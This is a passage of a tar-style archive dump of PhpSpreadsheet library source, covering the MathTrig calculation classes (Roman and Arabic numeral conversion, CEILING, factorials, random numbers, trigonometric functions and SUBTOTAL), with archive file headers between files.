'MMMXMIII'], 3994 => ['MMMLMXLIV', 'MMMXMIV'], 3995 => ['MMMLMVL', 'MMMXMV', 'MMMVM'], 3996 => ['MMMLMVLI', 'MMMXMVI', 'MMMVMI'], 3997 => ['MMMLMVLII', 'MMMXMVII', 'MMMVMII'], 3998 => ['MMMLMVLIII', 'MMMXMVIII', 'MMMVMIII'], 3999 => ['MMMLMVLIV', 'MMMXMIX', 'MMMVMIV', 'MMMIM'], ]; private const THOUSANDS = ['', 'M', 'MM', 'MMM']; private const HUNDREDS = ['', 'C', 'CC', 'CCC', 'CD', 'D', 'DC', 'DCC', 'DCCC', 'CM']; private const TENS = ['', 'X', 'XX', 'XXX', 'XL', 'L', 'LX', 'LXX', 'LXXX', 'XC']; private const ONES = ['', 'I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII', 'IX']; const MAX_ROMAN_VALUE = 3999; const MAX_ROMAN_STYLE = 4; private static function valueOk(int $aValue, int $style): string { $origValue = $aValue; $m = \intdiv($aValue, 1000); $aValue %= 1000; $c = \intdiv($aValue, 100); $aValue %= 100; $t = \intdiv($aValue, 10); $aValue %= 10; $result = self::THOUSANDS[$m] . self::HUNDREDS[$c] . self::TENS[$t] . self::ONES[$aValue]; if ($style > 0) { if (array_key_exists($origValue, self::VALUES)) { $arr = self::VALUES[$origValue]; $idx = min($style, count($arr)) - 1; $result = $arr[$idx]; } } return $result; } private static function styleOk(int $aValue, int $style): string { return ($aValue < 0 || $aValue > self::MAX_ROMAN_VALUE) ? ExcelError::VALUE() : self::valueOk($aValue, $style); } public static function calculateRoman(int $aValue, int $style): string { return ($style < 0 || $style > self::MAX_ROMAN_STYLE) ? ExcelError::VALUE() : self::styleOk($aValue, $style); } /** * ROMAN. * * Converts a number to Roman numeral * * @param mixed $aValue Number to convert * Or can be an array of numbers * @param mixed $style Number indicating one of five possible forms * Or can be an array of styles * * @return array|string Roman numeral, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function evaluate(mixed $aValue, mixed $style = 0): array|string { if (is_array($aValue) || is_array($style)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $aValue, $style); } try { $aValue = Helpers::validateNumericNullBool($aValue); if (is_bool($style)) { $style = $style ? 0 : 4; } $style = Helpers::validateNumericNullSubstitution($style, null); } catch (Exception $e) { return $e->getMessage(); } return self::calculateRoman((int) $aValue, (int) $style); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Absolute.php000064400000002012151676714400023506 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Absolute { use ArrayEnabled; /** * ABS. * * Returns the result of builtin function abs after validating args. * * @param mixed $number Should be numeric, or can be an array of numbers * * @return array|float|int|string rounded number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function evaluate(mixed $number): array|string|int|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return abs($number); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Ceiling.php000064400000013752151676714400023317 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Ceiling { use ArrayEnabled; /** * CEILING. * * Returns number rounded up, away from zero, to the nearest multiple of significance. * For example, if you want to avoid using pennies in your prices and your product is * priced at $4.42, use the formula =CEILING(4.42,0.05) to round prices up to the * nearest nickel. * * Excel Function: * CEILING(number[,significance]) * * @param array|float $number the number you want the ceiling * Or can be an array of values * @param array|float $significance the multiple to which you want to round * Or can be an array of values * * @return array|float|string Rounded Number, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function ceiling($number, $significance = null) { if (is_array($number) || is_array($significance)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $significance); } if ($significance === null) { self::floorCheck1Arg(); } try { $number = Helpers::validateNumericNullBool($number); $significance = Helpers::validateNumericNullSubstitution($significance, ($number < 0) ? -1 : 1); } catch (Exception $e) { return $e->getMessage(); } return self::argumentsOk((float) $number, (float) $significance); } /** * CEILING.MATH. * * Round a number down to the nearest integer or to the nearest multiple of significance. * * Excel Function: * CEILING.MATH(number[,significance[,mode]]) * * @param mixed $number Number to round * Or can be an array of values * @param mixed $significance Significance * Or can be an array of values * @param array|int $mode direction to round negative numbers * Or can be an array of values * * @return array|float|string Rounded Number, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function math(mixed $number, mixed $significance = null, $mode = 0): array|string|float { if (is_array($number) || is_array($significance) || is_array($mode)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $significance, $mode); } try { $number = Helpers::validateNumericNullBool($number); $significance = Helpers::validateNumericNullSubstitution($significance, ($number < 0) ? -1 : 1); $mode = Helpers::validateNumericNullSubstitution($mode, null); } catch (Exception $e) { return $e->getMessage(); } if (empty($significance * $number)) { return 0.0; } if (self::ceilingMathTest((float) $significance, (float) $number, (int) $mode)) { return floor($number / $significance) * $significance; } return ceil($number / $significance) * $significance; } /** * CEILING.PRECISE. * * Rounds number up, away from zero, to the nearest multiple of significance. * * Excel Function: * CEILING.PRECISE(number[,significance]) * * @param mixed $number the number you want to round * Or can be an array of values * @param array|float $significance the multiple to which you want to round * Or can be an array of values * * @return array|float|string Rounded Number, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function precise(mixed $number, $significance = 1): array|string|float { if (is_array($number) || is_array($significance)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $significance); } try { $number = Helpers::validateNumericNullBool($number); $significance = Helpers::validateNumericNullSubstitution($significance, null); } catch (Exception $e) { return $e->getMessage(); } if (!$significance) { return 0.0; } $result = $number / abs($significance); return ceil($result) * $significance * (($significance < 0) ? -1 : 1); } /** * Let CEILINGMATH complexity pass Scrutinizer. */ private static function ceilingMathTest(float $significance, float $number, int $mode): bool { return ($significance < 0) || ($number < 0 && !empty($mode)); } /** * Avoid Scrutinizer problems concerning complexity. */ private static function argumentsOk(float $number, float $significance): float|string { if (empty($number * $significance)) { return 0.0; } if (Helpers::returnSign($number) == Helpers::returnSign($significance)) { return ceil($number / $significance) * $significance; } return ExcelError::NAN(); } private static function floorCheck1Arg(): void { $compatibility = Functions::getCompatibilityMode(); if ($compatibility === Functions::COMPATIBILITY_EXCEL) { throw new Exception('Excel requires 2 arguments for CEILING'); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Factorial.php000064400000007457151676714400023656 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical; class Factorial { use ArrayEnabled; /** * FACT. * * Returns the factorial of a number. * The factorial of a number is equal to 1*2*3*...* number. * * Excel Function: * FACT(factVal) * * @param array|float $factVal Factorial Value, or can be an array of numbers * * @return array|float|int|string Factorial, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function fact($factVal): array|string|float|int { if (is_array($factVal)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $factVal); } try { $factVal = Helpers::validateNumericNullBool($factVal); Helpers::validateNotNegative($factVal); } catch (Exception $e) { return $e->getMessage(); } $factLoop = floor($factVal); if ($factVal > $factLoop) { if (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_GNUMERIC) { return Statistical\Distributions\Gamma::gammaValue($factVal + 1); } } $factorial = 1; while ($factLoop > 1) { $factorial *= $factLoop--; } return $factorial; } /** * FACTDOUBLE. * * Returns the double factorial of a number. * * Excel Function: * FACTDOUBLE(factVal) * * @param array|float $factVal Factorial Value, or can be an array of numbers * * @return array|float|int|string Double Factorial, or a string containing an error * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function factDouble($factVal): array|string|float|int { if (is_array($factVal)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $factVal); } try { $factVal = Helpers::validateNumericNullSubstitution($factVal, 0); Helpers::validateNotNegative($factVal); } catch (Exception $e) { return $e->getMessage(); } $factLoop = floor($factVal); $factorial = 1; while ($factLoop > 1) { $factorial *= $factLoop; $factLoop -= 2; } return $factorial; } /** * MULTINOMIAL. * * Returns the ratio of the factorial of a sum of values to the product of factorials. * * @param mixed[] $args An array of mixed values for the Data Series * * @return float|int|string The result, or a string containing an error */ public static function multinomial(...$args): string|int|float { $summer = 0; $divisor = 1; try { // Loop through arguments foreach (Functions::flattenArray($args) as $argx) { $arg = Helpers::validateNumericNullSubstitution($argx, null); Helpers::validateNotNegative($arg); $arg = (int) $arg; $summer += $arg; $divisor *= self::fact($arg); } } catch (Exception $e) { return $e->getMessage(); } $summer = self::fact($summer); return is_numeric($summer) ? ($summer / $divisor) : ExcelError::VALUE(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Random.php000064400000006541151676714400023163 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Random { use ArrayEnabled; /** * RAND. * * @return float|int Random number */ public static function rand(): int|float { return mt_rand(0, 10000000) / 10000000; } /** * RANDBETWEEN. * * @param mixed $min Minimal value * Or can be an array of values * @param mixed $max Maximal value * Or can be an array of values * * @return array|int|string Random number * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function randBetween(mixed $min, mixed $max): array|string|int { if (is_array($min) || is_array($max)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $min, $max); } try { $min = (int) Helpers::validateNumericNullBool($min); $max = (int) Helpers::validateNumericNullBool($max); Helpers::validateNotNegative($max - $min); } catch (Exception $e) { return $e->getMessage(); } return mt_rand($min, $max); } /** * RANDARRAY. * * Generates a list of sequential numbers in an array. * * Excel Function: * RANDARRAY([rows],[columns],[start],[step]) * * @param mixed $rows the number of rows to return, defaults to 1 * @param mixed $columns the number of columns to return, defaults to 1 * @param mixed $min the minimum number to be returned, defaults to 0 * @param mixed $max the maximum number to be returned, defaults to 1 * @param bool $wholeNumber the type of numbers to return: * False - Decimal numbers to 15 decimal places. (default) * True - Whole (integer) numbers * * @return array|string The resulting array, or a string containing an error */ public static function randArray(mixed $rows = 1, mixed $columns = 1, mixed $min = 0, mixed $max = 1, bool $wholeNumber = false): string|array { try { $rows = (int) Helpers::validateNumericNullSubstitution($rows, 1); Helpers::validatePositive($rows); $columns = (int) Helpers::validateNumericNullSubstitution($columns, 1); Helpers::validatePositive($columns); $min = Helpers::validateNumericNullSubstitution($min, 1); $max = Helpers::validateNumericNullSubstitution($max, 1); if ($max <= $min) { return ExcelError::VALUE(); } } catch (Exception $e) { return $e->getMessage(); } return array_chunk( array_map( function () use ($min, $max, $wholeNumber): int|float { return $wholeNumber ? mt_rand((int) $min, (int) $max) : (mt_rand() / mt_getrandmax()) * ($max - $min) + $min; }, array_fill(0, $rows * $columns, $min) ), max($columns, 1) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Arabic.php000064400000005063151676714400023122 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Arabic { use ArrayEnabled; private const ROMAN_LOOKUP = [ 'M' => 1000, 'D' => 500, 'C' => 100, 'L' => 50, 'X' => 10, 'V' => 5, 'I' => 1, ]; /** * Recursively calculate the arabic value of a roman numeral. */ private static function calculateArabic(array $roman, int &$sum = 0, int $subtract = 0): int { $numeral = array_shift($roman); if (!isset(self::ROMAN_LOOKUP[$numeral])) { throw new Exception('Invalid character detected'); } $arabic = self::ROMAN_LOOKUP[$numeral]; if (count($roman) > 0 && isset(self::ROMAN_LOOKUP[$roman[0]]) && $arabic < self::ROMAN_LOOKUP[$roman[0]]) { $subtract += $arabic; } else { $sum += ($arabic - $subtract); $subtract = 0; } if (count($roman) > 0) { self::calculateArabic($roman, $sum, $subtract); } return $sum; } /** * ARABIC. * * Converts a Roman numeral to an Arabic numeral. * * Excel Function: * ARABIC(text) * * @param string|string[] $roman Should be a string, or can be an array of strings * * @return array|int|string the arabic numberal contrived from the roman numeral * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function evaluate(mixed $roman): array|int|string { if (is_array($roman)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $roman); } // An empty string should return 0 $roman = substr(trim(strtoupper((string) $roman)), 0, 255); if ($roman === '') { return 0; } // Convert the roman numeral to an arabic number $negativeNumber = $roman[0] === '-'; if ($negativeNumber) { $roman = substr($roman, 1); } try { $arabic = self::calculateArabic(str_split($roman)); } catch (Exception) { return ExcelError::VALUE(); // Invalid character detected } if ($negativeNumber) { $arabic *= -1; // The number should be negative } return $arabic; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Trig/Cosecant.php000064400000003517151676714400024407 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Trig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Helpers; class Cosecant { use ArrayEnabled; /** * CSC. * * Returns the cosecant of an angle. * * @param array|float $angle Number, or can be an array of numbers * * @return array|float|string The cosecant of the angle * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function csc($angle) { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return Helpers::verySmallDenominator(1.0, sin($angle)); } /** * CSCH. * * Returns the hyperbolic cosecant of an angle. * * @param array|float $angle Number, or can be an array of numbers * * @return array|float|string The hyperbolic cosecant of the angle * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function csch($angle) { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return Helpers::verySmallDenominator(1.0, sinh($angle)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Trig/Tangent.php000064400000012750151676714400024247 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Trig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Helpers; class Tangent { use ArrayEnabled; /** * TAN. * * Returns the result of builtin function tan after validating args. * * @param mixed $angle Should be numeric, or can be an array of numbers * * @return array|float|string tangent * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function tan(mixed $angle) { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return Helpers::verySmallDenominator(sin($angle), cos($angle)); } /** * TANH. * * Returns the result of builtin function sinh after validating args. * * @param mixed $angle Should be numeric, or can be an array of numbers * * @return array|float|string hyperbolic tangent * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function tanh(mixed $angle): array|string|float { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return tanh($angle); } /** * ATAN. * * Returns the arctangent of a number. * * @param array|float $number Number, or can be an array of numbers * * @return array|float|string The arctangent of the number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function atan($number) { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return Helpers::numberOrNan(atan($number)); } /** * ATANH. * * Returns the inverse hyperbolic tangent of a number. * * @param array|float $number Number, or can be an array of numbers * * @return array|float|string The inverse hyperbolic tangent of the number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function atanh($number) { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return Helpers::numberOrNan(atanh($number)); } /** * ATAN2. * * This function calculates the arc tangent of the two variables x and y. It is similar to * calculating the arc tangent of y ÷ x, except that the signs of both arguments are used * to determine the quadrant of the result. * The arctangent is the angle from the x-axis to a line containing the origin (0, 0) and a * point with coordinates (xCoordinate, yCoordinate). The angle is given in radians between * -pi and pi, excluding -pi. * * Note that the Excel ATAN2() function accepts its arguments in the reverse order to the standard * PHP atan2() function, so we need to reverse them here before calling the PHP atan() function. * * Excel Function: * ATAN2(xCoordinate,yCoordinate) * * @param mixed $xCoordinate should be float, the x-coordinate of the point, or can be an array of numbers * @param mixed $yCoordinate should be float, the y-coordinate of the point, or can be an array of numbers * * @return array|float|string The inverse tangent of the specified x- and y-coordinates, or a string containing an error * If an array of numbers is passed as one of the arguments, then the returned result will also be an array * with the same dimensions */ public static function atan2(mixed $xCoordinate, mixed $yCoordinate): array|string|float { if (is_array($xCoordinate) || is_array($yCoordinate)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $xCoordinate, $yCoordinate); } try { $xCoordinate = Helpers::validateNumericNullBool($xCoordinate); $yCoordinate = Helpers::validateNumericNullBool($yCoordinate); } catch (Exception $e) { return $e->getMessage(); } if (($xCoordinate == 0) && ($yCoordinate == 0)) { return ExcelError::DIV0(); } return atan2($yCoordinate, $xCoordinate); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Trig/Sine.php000064400000006606151676714400023550 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Trig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Helpers; class Sine { use ArrayEnabled; /** * SIN. * * Returns the result of builtin function sin after validating args. * * @param mixed $angle Should be numeric, or can be an array of numbers * * @return array|float|string sine * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function sin(mixed $angle): array|string|float { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return sin($angle); } /** * SINH. * * Returns the result of builtin function sinh after validating args. * * @param mixed $angle Should be numeric, or can be an array of numbers * * @return array|float|string hyperbolic sine * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function sinh(mixed $angle): array|string|float { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return sinh($angle); } /** * ASIN. * * Returns the arcsine of a number. * * @param array|float $number Number, or can be an array of numbers * * @return array|float|string The arcsine of the number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function asin($number) { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return Helpers::numberOrNan(asin($number)); } /** * ASINH. * * Returns the inverse hyperbolic sine of a number. * * @param array|float $number Number, or can be an array of numbers * * @return array|float|string The inverse hyperbolic sine of the number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function asinh($number) { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return Helpers::numberOrNan(asinh($number)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Trig/Cotangent.php000064400000006770151676714400024576 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Trig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Helpers; class Cotangent { use ArrayEnabled; /** * COT. * * Returns the cotangent of an angle. * * @param array|float $angle Number, or can be an array of numbers * * @return array|float|string The cotangent of the angle * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function cot($angle) { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return Helpers::verySmallDenominator(cos($angle), sin($angle)); } /** * COTH. * * Returns the hyperbolic cotangent of an angle. * * @param array|float $angle Number, or can be an array of numbers * * @return array|float|string The hyperbolic cotangent of the angle * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function coth($angle) { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return Helpers::verySmallDenominator(1.0, tanh($angle)); } /** * ACOT. * * Returns the arccotangent of a number. * * @param array|float $number Number, or can be an array of numbers * * @return array|float|string The arccotangent of the number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function acot($number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return (M_PI / 2) - atan($number); } /** * ACOTH. * * Returns the hyperbolic arccotangent of a number. * * @param array|float $number Number, or can be an array of numbers * * @return array|float|string The hyperbolic arccotangent of the number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function acoth($number) { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } $result = ($number === 1) ? NAN : (log(($number + 1) / ($number - 1)) / 2); return Helpers::numberOrNan($result); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Trig/Cosine.php000064400000006672151676714400024075 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Trig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Helpers; class Cosine { use ArrayEnabled; /** * COS. * * Returns the result of builtin function cos after validating args. * * @param mixed $number Should be numeric, or can be an array of numbers * * @return array|float|string cosine * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function cos(mixed $number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return cos($number); } /** * COSH. * * Returns the result of builtin function cosh after validating args. * * @param mixed $number Should be numeric, or can be an array of numbers * * @return array|float|string hyperbolic cosine * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function cosh(mixed $number): array|string|float { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return cosh($number); } /** * ACOS. * * Returns the arccosine of a number. * * @param array|float $number Number, or can be an array of numbers * * @return array|float|string The arccosine of the number * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function acos($number) { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return Helpers::numberOrNan(acos($number)); } /** * ACOSH. * * Returns the arc inverse hyperbolic cosine of a number. * * @param array|float $number Number, or can be an array of numbers * * @return array|float|string The inverse hyperbolic cosine of the number, or an error string * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function acosh($number) { if (is_array($number)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $number); } try { $number = Helpers::validateNumericNullBool($number); } catch (Exception $e) { return $e->getMessage(); } return Helpers::numberOrNan(acosh($number)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Trig/Secant.php000064400000003505151676714400024062 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Trig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Helpers; class Secant { use ArrayEnabled; /** * SEC. * * Returns the secant of an angle. * * @param array|float $angle Number, or can be an array of numbers * * @return array|float|string The secant of the angle * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function sec($angle) { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return Helpers::verySmallDenominator(1.0, cos($angle)); } /** * SECH. * * Returns the hyperbolic secant of an angle. * * @param array|float $angle Number, or can be an array of numbers * * @return array|float|string The hyperbolic secant of the angle * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function sech($angle) { if (is_array($angle)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $angle); } try { $angle = Helpers::validateNumericNullBool($angle); } catch (Exception $e) { return $e->getMessage(); } return Helpers::verySmallDenominator(1.0, cosh($angle)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Subtotal.php000064400000011024151676714400023530 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical; class Subtotal { protected static function filterHiddenArgs(mixed $cellReference, mixed $args): array { return array_filter( $args, function ($index) use ($cellReference) { $explodeArray = explode('.', $index); $row = $explodeArray[1] ?? ''; if (!is_numeric($row)) { return true; } return $cellReference->getWorksheet()->getRowDimension($row)->getVisible(); }, ARRAY_FILTER_USE_KEY ); } protected static function filterFormulaArgs(mixed $cellReference, mixed $args): array { return array_filter( $args, function ($index) use ($cellReference): bool { $explodeArray = explode('.', $index); $row = $explodeArray[1] ?? ''; $column = $explodeArray[2] ?? ''; $retVal = true; if ($cellReference->getWorksheet()->cellExists($column . $row)) { //take this cell out if it contains the SUBTOTAL or AGGREGATE functions in a formula $isFormula = $cellReference->getWorksheet()->getCell($column . $row)->isFormula(); $cellFormula = !preg_match( '/^=.*\b(SUBTOTAL|AGGREGATE)\s*\(/i', $cellReference->getWorksheet()->getCell($column . $row)->getValue() ?? '' ); $retVal = !$isFormula || $cellFormula; } return $retVal; }, ARRAY_FILTER_USE_KEY ); } /** * @var array<int, callable> */ private const CALL_FUNCTIONS = [ 1 => [Statistical\Averages::class, 'average'], // 1 and 101 [Statistical\Counts::class, 'COUNT'], // 2 and 102 [Statistical\Counts::class, 'COUNTA'], // 3 and 103 [Statistical\Maximum::class, 'max'], // 4 and 104 [Statistical\Minimum::class, 'min'], // 5 and 105 [Operations::class, 'product'], // 6 and 106 [Statistical\StandardDeviations::class, 'STDEV'], // 7 and 107 [Statistical\StandardDeviations::class, 'STDEVP'], // 8 and 108 [Sum::class, 'sumIgnoringStrings'], // 9 and 109 [Statistical\Variances::class, 'VAR'], // 10 and 110 [Statistical\Variances::class, 'VARP'], // 111 and 111 ]; /** * SUBTOTAL. * * Returns a subtotal in a list or database. * * @param mixed $functionType * A number 1 to 11 that specifies which function to * use in calculating subtotals within a range * list * Numbers 101 to 111 shadow the functions of 1 to 11 * but ignore any values in the range that are * in hidden rows * @param mixed[] $args A mixed data series of values */ public static function evaluate(mixed $functionType, ...$args): float|int|string { $cellReference = array_pop($args); $bArgs = Functions::flattenArrayIndexed($args); $aArgs = []; // int keys must come before string keys for PHP 8.0+ // Otherwise, PHP thinks positional args follow keyword // in the subsequent call to call_user_func_array. // Fortunately, order of args is unimportant to Subtotal. foreach ($bArgs as $key => $value) { if (is_int($key)) { $aArgs[$key] = $value; } } foreach ($bArgs as $key => $value) { if (!is_int($key)) { $aArgs[$key] = $value; } } try { $subtotal = (int) Helpers::validateNumericNullBool($functionType); } catch (Exception $e) { return $e->getMessage(); } // Calculate if ($subtotal > 100) { $aArgs = 